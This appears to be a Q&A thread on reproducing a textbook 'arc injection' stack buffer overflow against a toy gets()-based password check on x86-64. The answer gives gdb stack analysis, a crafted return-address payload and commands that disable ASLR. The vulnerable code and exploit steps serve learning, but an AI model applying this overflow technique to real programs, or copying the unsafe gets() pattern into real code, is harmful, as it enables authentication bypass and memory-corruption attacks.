Constructing a tainted string for arc injection - c

Question

I'm new to security and currently referring to Robert Seacord's Secure Coding in C and C++. In chapter 2 of the same, the author talks about arc injection, wherein he passes the flow of control in the following program from the isPasswordOK() routine to the else() {puts ("Access granted!");}; branch in main() by overwriting the Password buffer in gets() call with a tainted string: 1234567890123456j>*!
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
bool isPasswordOK(void) {
char Password[12];
gets(Password);
return 0 == strcmp(Password, "goodpass");
}
int main(void) {
bool pwStatus;
puts("Enter Password: ");
pwStatus = isPasswordOK();
if (pwStatus == false) {
puts("Access denied");
exit(-1);
}
else {
puts("Access granted!");
}
}
Here, j = 0x6A, > = 0x10 (This is the Data Link Escape symbol), * = 0x2A and ! = 0x21
This sequence of 4 characters then correspond to a 4 byte address, which I'm assuming is 0x6A102A21. This address, I think, points to the else line in the main() function, and we redirect control by overwriting the return address on the stack by the address of this line.
I'm trying to reproduce the same on my machine (x86-64 architecture). I've turned stack protection and randomization off, so I don't think that should be a issue. In fact, the program crashes as expected when I try to corrupt the return address. My problem is: how do I provide as an input to gets the tainted string? If I disassemble main using gdb, I get the following output:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400642 <+0>: push %rbp
0x0000000000400643 <+1>: mov %rsp,%rbp
0x0000000000400646 <+4>: sub $0x10,%rsp
0x000000000040064a <+8>: mov $0x40071d,%edi
0x000000000040064f <+13>: callq 0x4004c0 <puts#plt>
0x0000000000400654 <+18>: callq 0x400616 <isPasswordOK>
0x0000000000400659 <+23>: mov %al,-0x1(%rbp)
0x000000000040065c <+26>: movzbl -0x1(%rbp),%eax
0x0000000000400660 <+30>: xor $0x1,%eax
0x0000000000400663 <+33>: test %al,%al
0x0000000000400665 <+35>: je 0x40067b <main+57>
0x0000000000400667 <+37>: mov $0x40072e,%edi
0x000000000040066c <+42>: callq 0x4004c0 <puts#plt>
0x0000000000400671 <+47>: mov $0xffffffff,%edi
0x0000000000400676 <+52>: callq 0x400510 <exit#plt>
0x000000000040067b <+57>: mov $0x40073c,%edi
0x0000000000400680 <+62>: callq 0x4004c0 <puts#plt>
0x0000000000400685 <+67>: leaveq
0x0000000000400686 <+68>: retq
End of assembler dump.
Since I want to jump to the second puts() call, I think I need to provide 0x0000000000400680 as a part of my tainted string because this is the address of the second puts() according to the gdb disassembly.
How can I do this? In the book, the address were of length 4 bytes, but here I have to deal with 16 bytes. Also, there is no ASCII representation for 0x80, so what am I supposed to provide as an input to gets? Basically, what I'm asking for are the characters that I should provide at ?:
1234567890123456????
I'm utterly confused, so any help is appreciated, thanks!

Answer 1

I had the same problem and I will try to help you. The problem is that the string highly depends also on the compiler, so I will explain you how to get the string acording to my example.
My program looks like this (similar to yours)
isPasswordOk.cpp:
#include <iostream>
#include <cstdio>
#include <cstring>
bool isPasswordOk()
{
int result = 0xBBBBBBBB;
char password[10];
std::gets(password);
result = strcmp(password, "good") == 0;
return result;
}
int main()
{
bool pwStatus;
std::puts("Enter password:");
pwStatus = isPasswordOk();
if (pwStatus == false)
{
puts("Access denied!");
return -1;
}
puts("Access granted!");
return 0;
}
Then how do you compile this:
g++ isPasswordOk.cpp -std=c++11 -fno-stack-protector -o isPasswordOk
Important is the -fno-stack-protector, so not canarys are created. You can ofcourse use another c++ standard. But my example does not compile with std=c++14, because the gets function was removed.
Stack when calling isPasswordOk()
+-------------------------+ <--- stack pointer (rsp/esp)
| |
| password-buffer |
| |
| -------------------- |
| result | 0xBBBBBBBB
| --------------------- |
| (canary) | # when not disabled
+-------------------------+ <--- RBP
| Caller RBP frame ptr |
| --------------------- |
| Return Addr Caller |
+-------------------------+
Now use gdb to get the string to do the arc-injection.
gdb isPasswordOk
(gdb) run
Enter password:
AAAA
Access denied!
(gdb) disassemble isPasswordOk
Dump of assembler code for function _Z12isPasswordOkv:
0x0000555555554850 <+0>: push %rbp
0x0000555555554851 <+1>: mov %rsp,%rbp
0x0000555555554854 <+4>: sub $0x10,%rsp
0x0000555555554858 <+8>: movl $0xbbbbbbbb,-0x4(%rbp)
0x000055555555485f <+15>: lea -0x10(%rbp),%rax
0x0000555555554863 <+19>: mov %rax,%rdi
0x0000555555554866 <+22>: callq 0x555555554710
0x000055555555486b <+27>: lea -0x10(%rbp),%rax
0x000055555555486f <+31>: lea 0x14f(%rip),%rsi # 0x5555555549c5
0x0000555555554876 <+38>: mov %rax,%rdi
0x0000555555554879 <+41>: callq 0x555555554718
0x000055555555487e <+46>: test %eax,%eax
0x0000555555554880 <+48>: sete %al
0x0000555555554883 <+51>: movzbl %al,%eax
0x0000555555554886 <+54>: mov %eax,-0x4(%rbp)
0x0000555555554889 <+57>: cmpl $0x0,-0x4(%rbp)
0x000055555555488d <+61>: setne %al
0x0000555555554890 <+64>: leaveq
0x0000555555554891 <+65>: retq
End of assembler dump.
Now set some breakpoints
(gdb) break * 0x0000555555554858 # set breakpoint before gets
(gdb) break * 0x0000555555554879 # set breakpoint after gets
Now run it again (with the x option you can print the memory):
(gdb) run
Enter password:
AAAA
(gdb) x/12xw $rsp # rsp for 64 bit, esp for 32 bit
0x7fffffffde20: 0xffffde50 0x00007fff 0x55554720 0x00005555
0x7fffffffde30: 0xffffde50 0x00007fff 0x555548ab 0x00005555
0x7fffffffde40: 0xffffdf30 0x00007fff 0x00000000 0x00000000
(gdb) c
(gdb) x/12xw $rsp
0x7fffffffde20: 0x41414141 0x00007fff 0x55554720 0xBBBBBBBB # 0x41='A'
0x7fffffffde30: 0xffffde50 0x00007fff 0x555548ab 0x00005555
0x7fffffffde40: 0xffffdf00 0x00007fff 0x00000000 0x00000000
Access denied!
So the password was written on the address 0x7fffffffde20: 0x41414141 = "AAAA"
The local variable result is put after the buffer 0xBBBBBBBB.
You can also see that the buffer is internally 12 bytes, also I defined it to be 10 bytes.
So if I want to overwrite the Return Addr Caller 0x555548ab 0x00005555 I must write 0x20 (32) bytes.
First I have to know the address. Therefore I use the gdb again:
(gdb) disass main
Dump of assembler code for function main:
0x0000555555554892 <+0>: push %rbp
0x0000555555554893 <+1>: mov %rsp,%rbp
0x0000555555554896 <+4>: sub $0x10,%rsp
0x000055555555489a <+8>: lea 0x128(%rip),%rdi # 0x5555555549c9
0x00005555555548a1 <+15>: callq 0x5555555546f0
0x00005555555548a6 <+20>: callq 0x555555554850 <_Z12isPasswordOkv>
0x00005555555548ab <+25>: mov %al,-0x1(%rbp)
0x00005555555548ae <+28>: movzbl -0x1(%rbp),%eax
0x00005555555548b2 <+32>: xor $0x1,%eax
0x00005555555548b5 <+35>: test %al,%al
0x00005555555548b7 <+37>: je 0x5555555548cc <main+58>
0x00005555555548b9 <+39>: lea 0x119(%rip),%rdi # 0x5555555549d9
0x00005555555548c0 <+46>: callq 0x5555555546f0
0x00005555555548c5 <+51>: mov $0xffffffff,%eax
0x00005555555548ca <+56>: jmp 0x5555555548dd <main+75>
0x00005555555548cc <+58>: lea 0x115(%rip),%rdi # 0x5555555549e8
0x00005555555548d3 <+65>: callq 0x5555555546f0
0x00005555555548d8 <+70>: mov $0x0,%eax
0x00005555555548dd <+75>: leaveq
0x00005555555548de <+76>: retq
End of assembler dump.
I want to jump to the address 0x00005555555548cc. So you have to create the string like this:
echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAA\xcc\x48\x55\x55\x55\x55\x00\x00' > arcInjection.txt
Then you can call it by running:
(gdb) run < arcInjection.txt
Access granted!
If you want to run it outside the gdb, you have to disable address space layout randomization (ASR)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Then you can run it also in the console:
./isPasswordOk < arcInjection.txt
Enter password:
Access granted!
The ASR is activated again after reboot, or if you call afterwards:
echo 1 | sudo tee /proc/sys/kernel/randomize_va_space